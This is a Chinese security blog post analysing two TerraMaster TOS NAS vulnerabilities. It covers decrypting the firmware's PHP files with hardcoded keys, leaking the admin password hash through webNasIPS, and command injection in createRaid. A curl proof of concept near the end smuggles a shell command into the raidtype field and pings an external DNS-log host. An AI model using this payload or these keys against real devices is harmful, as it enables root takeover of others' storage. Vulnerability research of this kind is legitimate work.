百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术分析 > 正文

铁威马TerraMaster CVE-2022-24990&CVE-2022-24989分析报告

liebian365 2024-11-21 17:36 4 浏览 0 评论

概述

Terramaster TOS是一款基于Linux平台的、专用于TerraMaster云存储NAS服务器的操作系统。Terramaster TOS 4.2.29版本存在漏洞,可能允许经过身份验证的远程攻击者在系统上执行任意命令,这是由 createRaid 模块中的缺陷引起的。通过发送特制命令,攻击者可以利用此漏洞在系统上以 root 身份执行任意命令。最新版本已对漏洞进行修补,建议更新到最新版本。

固件分析

从官网下载固件,这里我们选择F2-220 4.2.28版本。

铁威马使用nginx,解压后在/etc/nginx/nginx.conf中可以找到相关配置。

查看/usr/www发现php文件均被加密,使用二进制工具查看。

可以看到前面32个字节为一串数字加上\0字符,从第33个字节开始为乱码。查看多个php文件均出现上诉情况,且前16个字节一样,16字节开始的几个字节与文件大小相关。有理由相信使用同一种加密方式加密。查询相关资料,发现铁威马曾使用GH65Hws2jedf3fl3MeK进行加密。对php解释器(位于usr/sbin/php)进行查找,未发现相关字符串。再直接在文件夹中进行字符匹配,最终在/usr/lib/php/modules/php_terra_master.so中找到该字符串。

定位到相关代码

FILE *__fastcall pm9screw_ext_fopen(FILE *stream)
{
  v2 = 16LL;
  v3 = v28;
  while ( v2 )
  {
    *v3 = 0;
    v3 = (v3 + 4);
    --v2;
  }
  v4 = 16LL;
  v5 = v29;
  while ( v4 )
  {
    *v5 = 0;
    v5 = (v5 + 4);
    --v4;
  }
  yek(v28);  //新key
  v6 = md5(v28);
  v28[0] = *v6;
  v28[1] = v6[1];
  oldyek(v29); //旧key
  v7 = md5(v29);
  v29[0] = *v7;
  v27 = v29[0];
  v29[1] = v7[1];
  s2 = v28[0];
  *nptr = 0LL;
  v8 = fileno(stream);
  sub_3A50(v8, &stat_buf);
  v24 = stat_buf.st_size;
  v9 = malloc(0x200000uLL);
  v10 = v24;
  *v9 = 0LL;
  v11 = v9;
  fread(v9, v10, 1uLL, stream);
  v22 = teg_yek(stream);
  fclose(stream);
  v12 = memcmp(v11, &s2, 0x10uLL);
  v13 = v22;
  if ( !v12 )
  {
    v14 = v24;
    for ( i = 16LL; v14 > i; ++i )
    {
      v16 = v11[i];
      if ( i > 31 )
        v11[i - 32] = v16;
      else
        v23[i] = v16;
    }
    v17 = v28;
LABEL_23:
    screw_aes(0LL, v11, v14, v17, &v24, v13); // 加密函数
    v24 = atoi(nptr);
    goto LABEL_24;
  }
  if ( !memcmp(v11, &v27, 0x10uLL) )
  {
    v14 = v24;
    v13 = v22;
    for ( j = 16LL; j < v14; ++j )
    {
      v19 = v11[j];
      if ( j > 31 )
        v11[j - 32] = v19;
      else
        v23[j] = v19;
    }
    v17 = v29;
    goto LABEL_23;
  }
LABEL_24:
  v20 = tmpfile64();
  fwrite(v11, v24, 1uLL, v20);
  free(v11);
  rewind(v20);
  return v20;
}

从函数名字可以看出该加密与aes有关,且名称与screw有关。在github搜索screw,存在相关代码。

下载后编译,名称为screw,定位到加密函数

void __fastcall screw_encrypt(const char *a1)
{
  memset(s, 0, sizeof(s));
  memset(&key, 0, 0x40uLL);
  v1 = (const void *)md5("FwWpZKxH7twCAG4JQMO");
  memcpy(&key, v1, 0x20uLL);
  enTag = key;
  qword_C428 = qword_C3E8;
  stream = fopen(a1, "rb");
  if ( !stream )
  {
    fprintf(stderr, "File not found(%s)", a1);
    exit(0);
  }
  v2 = fileno(stream);
  fstat(v2, &v6);
  v5 = v6.st_size;
  ptr = malloc(0x200000uLL);
  memset(ptr, 0, 8uLL);
  fread(ptr, (int)v5, 1uLL, stream);
  fclose(stream);
  sprintf(s, "%d", v5);
  if ( !memcmp(ptr, &enTag, 0x10uLL) )
  {
    errMsg(a1, " Already Crypted");
  }
  else if ( (int)v5 > 0 )
  {
    screw_aes(1LL, ptr, v5, &key, &v5);  //加密函数
    stream = fopen(a1, "wb");
    if ( !stream )
    {
      errMsg("Can not create crypt file(%s)", v4);
      exit(0);
    }
    fwrite(&enTag, 0x10uLL, 1uLL, stream);
    fwrite(s, 0x10uLL, 1uLL, stream);
    fwrite(ptr, (int)v5, 1uLL, stream);
    fclose(stream);
    alertMsg("Success Crypting - ", a1);
    free(ptr);
  }
  else
  {
    errMsg(a1, " will not be crypted");
  }
}

可以发现该加密函数与php_terra_master.so中的加密函数高度相似,也就是说php_terra_master.so中的函数是在原函数基础上做了一些小改动。经过分析,主要存在下面2个改变:

一. 2个 key

其中1个key就是GH65Hws2jedf3fl3MeK,也就是oldkey,将screw中的key替换为GH65Hws2jedf3fl3MeK,将一个phpdemo进行加密,加密后如下:

可以发现demo加密后格式与目标基本一致,只是前面16个字节不相同。

另外1个key也就是newkey就有点意思了。

__int64 __fastcall yek(__int64 a1)
{
  for ( result = 0LL; result != 32; ++result )
  {
    if ( (result & 1) != 0 )
      v2 = CAONIM[2 * result]; //newkey
    else
      v2 = CAONIM[result];
    *(a1 + result) = v2;
  }
  return result;
}

可以看到这个变量名起的就很有个性,再看一下对应的字符串。

只能说感受到了开发人员的良苦用心,最后得到的key为I''o0aot2eaoyota45eaedot6aoitlae,再次将demo进行加密。

可以看到demo文件加密出来的文件与我们需要解密的文件基本一致,前面16个字节的标志也相同,不过这样是解密不出来的,这就涉及到了第二个变化。

二.screw_aes加密函数多了个参数

跟进去发现该函数在加密后,与某个数进行了异或。

__int64 __fastcall screw_aes(int a1, __int64 a2, int a3, _DWORD *a4, _DWORD *a5, int a6)
{
  v19 = (a3 % 16 != 0) + a3 / 16;
  if ( a6 == -1 )
  {
    v9 = get_random1();
    v10 = get_dom2();
  }
  else
  {
    v9 = a6;
    v10 = a6;
  }
  v11 = v20;
  v12 = 64LL;
  v13 = a4;
  while ( v12 )
  {
    *v11 = *v13++;
    v11 += 4;
    --v12;
  }
  if ( a1 )
    aes_setkey_enc(v21, v20, 256LL);
  else
    aes_setkey_dec(v21, v20, 256LL);
  for ( i = 0; i < v19; ++i )
  {
    v14 = 0LL;
    if ( a1 )
    {
      aes_crypt_cbc(v21, 1LL, 16LL, a4, a2, a2);
      for ( j = 0LL; j != 16; ++j )
        *(a2 + j) ^= v9;        //异或
    }
    else
    {
      do
        *(a2 + v14++) ^= v10; //异或
      while ( v14 != 16 );
      aes_crypt_cbc(v21, 0LL, 16LL, a4, a2, a2);
    }
    a2 += 16LL;
  }
  result = (16 * v19);
  *a5 = result;
  return result;
}

追踪该参数,定位参数来源函数

char __fastcall teg_yek(FILE *a1)
{
  v1 = fileno(a1);
  php_sprintf(v5, "/proc/self/fd/%d", v1);
  v2 = readlink(v5, buf, 0x100uLL);  //读取文件名
  v3 = -1;
  if ( v2 >= 0 )
    v3 = v5[v2 + 251]; //参数来源
  return v3;
}

v2为文件路径长度,v3 = v5[v2+251],这里数组大小为256,也就是说取得值为文件名的(251-256)=-5位,也就是文件php后缀.php的前一位。也就是说要解密需要先将加密文件从第32位开始先与php后缀.php的前一位异或,再用screw的解密方式进行解密。到这里解密就完成了。

漏洞分析

CVE-2022-24990:信息泄露

/usr/www/module/api.php存在这样的代码


如果请求是http://target/module/api.php?aaaa/bbbb,那么$class = aaaa,$function = bbbb

接下来它会检查$function是否在NO_LOGIN_CHECK数组中,如果不在设置REQUEST_MODE = 1,在的话设置REQUEST_MODE = 0

然后它会实例化对象,并检查$function是否在$class:$notHeader中,不在的话会有TIME以及SIGNATURE的检查,在的话会调用$function

通过对$notHeader的搜索,在/usr/www/include/class/mobile.class.php找到相关代码。

在构造函数中主要进行3个检查:

1.判断函数是否在notHeader中,如果不在,判断HTTP_USER_AGENT中是否存在字符串TNAS,以及HTTP_AUTHORIZATION是否设置,只要有1个不存在,则判断HTTP_AUTHORIZATIONREQUESTCODE的值或者REQUESTCODEsha256加密后的值是否相等,如果都不相等,则输出Illegal request, please use genuine software!并退出。

2.判断REQUEST_MODE是否存在,如果REQUEST_MODE存在,则进行一些SESSION方面的检查。

3.判断函数是否在notCheck中,如果不在,则进行LoginCheck的检查。

我们对比api.php中的NO_LOGIN_CHECK数组以及mobile.class.phpnotCheck数组,可以发现NO_LOGIN_CHECK被包含在notCheck数组中,也就是说"webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected"这7个函数将会设置REQUEST_MODE为0,同时又在notCheck数组中,这将通过后2个检查。再查看第1个检查,会发现"webNasIPS""isConnected"函数能通过。

isConnected很简单,返回publicip

再查看webNasIPS函数

HTTP_USER_AGENTTNAS时,它将返回TOS固件信息,默认网关的IP、mac地址,正在运行的服务及其绑定地址和端口,以及$pwd = hash("sha256", $this->REQUESTCODE)。查询REQUESTCODE,它被定义在/usr/www/include/class/application.class.app,$this->REQUESTCODE = $this->_getpassword();查看_getpassword函数

可以看到webNasIPS返回的$pwd实际上就是admin的密码的hash值。所以这里存在一个严重的信息泄露问题。

CVE-2022-24989: 命令注入

不止如此,再得到了这个hash值后,mobile.class.php的构造函数中的第一个检查,将被通过。也就是说"getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig"函数也能调用。分别查看这几个函数,注意到"createRaid"函数。

这里需要2个参数raidtypediskstring,然后会将raidtype的值传入volume_make_from_disks函数,在volume.class.php可以找到该函数的定义。

继续跟进_backexec函数,在func.class.php中找到定义。

可以看到直接将raidtype的值传入到popen函数中,并没有任何检查,所以存在命令注入的可能。

但别忘了还需要绕过api.php中的检查。

搜索tos_encrypt_str,发现它并没有在php脚本中被定义,也就是说它存在与php加载的模块中,最后又在/usr/lib/php/modules/php_terra_master.so中找到了它。

这里会将get_mac_addr函数的返回值与TIMESTAMP拼接起来再求md5值,查看get_mac_addr函数。

这个函数作用是取eth0的mac地址,并以%02x%02x%02x的形式返回最后3位,也就是说如果mac地址为11:22:33:44:55:66,那么将返回445566。由于webNasIPS函数中,存在mac地址,所以到这里就只需要TIMESTAMP的值了,我们可以通过不带对应的http头来获取ctime,再将其转化为时间戳。

漏洞验证

万事俱备,构建payload。

curl -k 'http://{IP:PORT}/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$WKqIJ4Xa$Z.MvA1hLttowrJGwpJCFb0' -H 'TIMESTAMP: 1647196724' -H 'SIGNATURE: 85ea5257a596a846fc919269aa48788a' -d 'raidtype=;ping l49vx5.dnslog.cn -c 1;&diskstring=XXXX'

影响版本

TOS 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。

补丁对比

漏洞在TOS 4.2.30中得到了修补。

CVE-2022-24990修补如下:

CVE-2022-24989修补如下:

参考文献:

https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63

https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/

相关推荐

快递查询教程,批量查询物流,一键管理快递

作为商家,每天需要查询许许多多的快递单号,面对不同的快递公司,有没有简单一点的物流查询方法呢?小编的回答当然是有的,下面随小编一起来试试这个新技巧。需要哪些工具?安装一个快递批量查询高手快递单号怎么快...

一键自动查询所有快递的物流信息 支持圆通、韵达等多家快递

对于各位商家来说拥有一个好的快递软件,能够有效的提高自己的工作效率,在管理快递单号的时候都需要对单号进行表格整理,那怎么样能够快速的查询所有单号信息,并自动生成表格呢?1、其实方法很简单,我们不需要一...

快递查询单号查询,怎么查物流到哪了

输入单号怎么查快递到哪里去了呢?今天小编给大家分享一个新的技巧,它支持多家快递,一次能查询多个单号物流,还可对查询到的物流进行分析、筛选以及导出,下面一起来试试。需要哪些工具?安装一个快递批量查询高手...

3分钟查询物流,教你一键批量查询全部物流信息

很多朋友在问,如何在短时间内把单号的物流信息查询出来,查询完成后筛选已签收件、筛选未签收件,今天小编就分享一款物流查询神器,感兴趣的朋友接着往下看。第一步,运行【快递批量查询高手】在主界面中点击【添...

快递单号查询,一次性查询全部物流信息

现在各种快递的查询方式,各有各的好,各有各的劣,总的来说,还是有比较方便的。今天小编就给大家分享一个新的技巧,支持多家快递,一次能查询多个单号的物流,还能对查询到的物流进行分析、筛选以及导出,下面一起...

快递查询工具,批量查询多个快递快递单号的物流状态、签收时间

最近有朋友在问,怎么快速查询单号的物流信息呢?除了官网,还有没有更简单的方法呢?小编的回答当然是有的,下面一起来看看。需要哪些工具?安装一个快递批量查询高手多个京东的快递单号怎么快速查询?进入快递批量...

快递查询软件,自动识别查询快递单号查询方法

当你拥有多个快递单号的时候,该如何快速查询物流信息?比如单号没有快递公司时,又该如何自动识别再去查询呢?不知道如何操作的宝贝们,下面随小编一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号若干...

教你怎样查询快递查询单号并保存物流信息

商家发货,快递揽收后,一般会直接手动复制到官网上一个个查询物流,那么久而久之,就会觉得查询变得特别繁琐,今天小编给大家分享一个新的技巧,下面一起来试试。教程之前,我们来预览一下用快递批量查询高手...

简单几步骤查询所有快递物流信息

在高峰期订单量大的时候,可能需要一双手当十双手去查询快递物流,但是由于逐一去查询,效率极低,追踪困难。那么今天小编给大家分享一个新的技巧,一次能查询多个快递单号的物流,下面一起来学习一下,希望能给大家...

物流单号查询,如何查询快递信息,按最后更新时间搜索需要的单号

最近有很多朋友在问,如何通过快递单号查询物流信息,并按最后更新时间搜索出需要的单号呢?下面随小编一起来试试吧。需要哪些工具?安装一个快递批量查询高手快递单号若干怎么快速查询?运行【快递批量查询高手】...

连续保存新单号功能解析,导入单号查询并自动识别批量查快递信息

快递查询已经成为我们日常生活中不可或缺的一部分。然而,面对海量的快递单号,如何高效、准确地查询每一个快递的物流信息,成为了许多人头疼的问题。幸运的是,随着科技的进步,一款名为“快递批量查询高手”的软件...

快递查询教程,快递单号查询,筛选更新量为1的单号

最近有很多朋友在问,怎么快速查询快递单号的物流,并筛选出更新量为1的单号呢?今天小编给大家分享一个新方法,一起来试试吧。需要哪些工具?安装一个快递批量查询高手多个快递单号怎么快速查询?运行【快递批量查...

掌握批量查询快递动态的技巧,一键查找无信息记录的两种方法解析

在快节奏的商业环境中,高效的物流查询是确保业务顺畅运行的关键。作为快递查询达人,我深知时间的宝贵,因此,今天我将向大家介绍一款强大的工具——快递批量查询高手软件。这款软件能够帮助你批量查询快递动态,一...

从复杂到简单的单号查询,一键清除单号中的符号并批量查快递信息

在繁忙的商务与日常生活中,快递查询已成为不可或缺的一环。然而,面对海量的单号,逐一查询不仅耗时费力,还容易出错。现在,有了快递批量查询高手软件,一切变得简单明了。只需一键,即可搞定单号查询,一键处理单...

物流单号查询,在哪里查询快递

如果在快递单号多的情况,你还在一个个复制粘贴到官网上手动查询,是一件非常麻烦的事情。于是乎今天小编给大家分享一个新的技巧,下面一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号怎么快速查询?...

取消回复欢迎 发表评论: